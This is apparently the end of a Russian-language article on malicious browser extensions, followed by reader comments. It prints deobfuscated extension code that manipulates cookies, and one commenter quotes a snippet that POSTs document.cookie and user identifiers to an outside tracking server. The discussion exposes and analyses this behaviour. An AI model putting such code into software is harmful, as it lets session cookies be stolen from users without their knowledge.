        e.open("GET", "https://translate.googleapis.com/translate_static/img/loading.gif", !1);
        e.send();
        var a = e.getResponseHeader(h);
        null !== a && p(a)
    }
}
document.addEventListener(7, function(a) {
    a = a.detail;
    t();
    document.cookie = null === m ? a : m + a.trim()
});
document.addEventListener(8, function() {
    t();
    var a;
    var b = document.cookie;
    a = "";
    if (b) {
        var b = b.split("; "),
            f;
        for (f in b) {
            if (m) {
                if (b[f].substring(0, m.length) != m) {
                    continue
                }
            } else {
                if (-1 < b[f].indexOf("_@@@_")) {
                    continue
                }
            }
            a && (a += "; ");
            a += m ? b[f].substring(m.length) : b[f]
        }
    }
    try {
        localStorage.setItem("@@@cookies", a)
    } catch (v) {
        document.getElementById("@@@cookies") || (f = document.createElement("div"), f.setAttribute("id", "@@@cookies"), document.documentElement.appendChild(f), f.style.display = "none"), document.getElementById("@@@cookies").a = a
    }
});
document.addEventListener(9, function(a) {
    u(a.detail)
});

function u(a) {
    n ? a.substr(0, n.length + 2) != "[" + n + "]" && (document.title = "[" + n + "] " + a + " [" + n + "]") : document.title = a
}
chrome.runtime.onMessage.addListener(function(a) {
    5 == a.type && (s(), u(document.title));
    "3" == a.type && (p(""), document.title = document.title.replace(/\s*\[\d*\]\s*/g, ""))
});
window.onunload = function() {
    document.title = document.title.replace(/\s*\[\d*\]\s*/g, "")
};


Вот ведь чего нашлось в нём:
var a = new XMLHttpRequest;
a.open("POST", "http://www.woopra.com/track/ce/", !0);
a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
a.send("host=idmask.com&ce_name=" + b + "&ce_version=" + chrome.runtime.getManifest().version + "&ce_use=" + n + "&ce_day=" + (((new Date).getTime() - q) / 864E5 << 0) + "&ce_uid=" + r + "&ce_mid=" + s + "&ce_orgVersion=" + t + "&ce_miduid=" + s + r + "&ce_" + document.cookie + "&cookie=" + r)

Это расширение отправляет куки на какой то внешний сервис. ☹
Может сразу посоветуете как подобные расширения у себя найти, если юзер не обладает основами программирования?
Самостоятельно подобные расширения довольно тяжело найти.
На мой взгляд, вредоносные расширения, аналогичны вредоносным программам. Поэтому и бороться с ними должны антивирусы.
Антивирусы должны иметь базу вредоносных расширений, чтобы удалять известные проблемы.
Должны уметь эмулировать код установленных расширений для эвристического анализа.
Но на данный момент, что-то ситуация у них с этим не очень.

По возможности, в будущем постараюсь написать статью про методы профилактики от вредоносных расширений.
Так выходит, что того кто это чудо написал не составит труда найти, на основе тех творений, что подмешиваются в выдачу ПС, или это не кому не надо масштаб не тот?

P.S. Чую стоит проверить, то что было установлено ранее.
Проблема в том, что в каком-то виде вредоносными расширениями занимаются все. Даже очень крупные компании.
Многие еще помнят про яндекс-бар, вот еще один пример.

Частично поэтому проблему никто и не решает.
Тут мне кажется та часть, что подмешивает выдачу слабо можно расценить как что-то очень незаконное, а вот то что можно код свой подсунуть и по суди увести cookie с любого сайта вот — это уже серьезно.

А по вашим прикидкам, в dev расширениях (всякие там json гляделки, и из этой оперы), грешат таким?

P.S. А что за история про яндекс бар?
А по вашим прикидкам, в dev расширениях (всякие там json гляделки, и из этой оперы), грешат таким?

Пока не встречался с подобной проблемой. Скорей всего связано с тем, что подобные расширения меньше распространены. Хотя ничто не мешает всяким инсталяторам поставить расширение с любым названием и функционалом.

P.S. А что за история про яндекс бар?

Был период, что какую программу не установишь из интернета, в браузере появлялась панель на всех сайтах. Ну т.е. без ведома пользователя ставился сторонний софт, с помощью которого скорей всего собиралась какая-то аналитика.
На хабре можно найти информацию о нем.
Ну а смысл высказывания был в том, что даже большие компании грешат использованием расширений.
Был период, что какую программу для Виндовс не установишь из интернета, в браузере появлялась панель на всех сайтах
Не так давно снес систему и ставил заново начисто. Привычные мне расширения не находились, потому выбрал с подобной функцией. Первые 3 пошли с вирусами. Я бросил это дело и стал искать в интернете «старые добрые» приложения. Не всё нашел, что-то выбрал из нового, но попало без вирусов.

Что касается блокировщика рекламы, мне кажется, что рекламные компании терпят большой убыток и вряд ли сидят сложа руки. Вполне возможно, что они сделают что-то чтобы дескридитировать такого рода приложения.

Потому чаще пошли пиратки с вирусами. А еще больше этим пугают. Ничего личного, бизнс есть бизнес.
Нет больше этого расширения :). Всем спасибо, все свободны.
Sign up to leave a comment.

Articles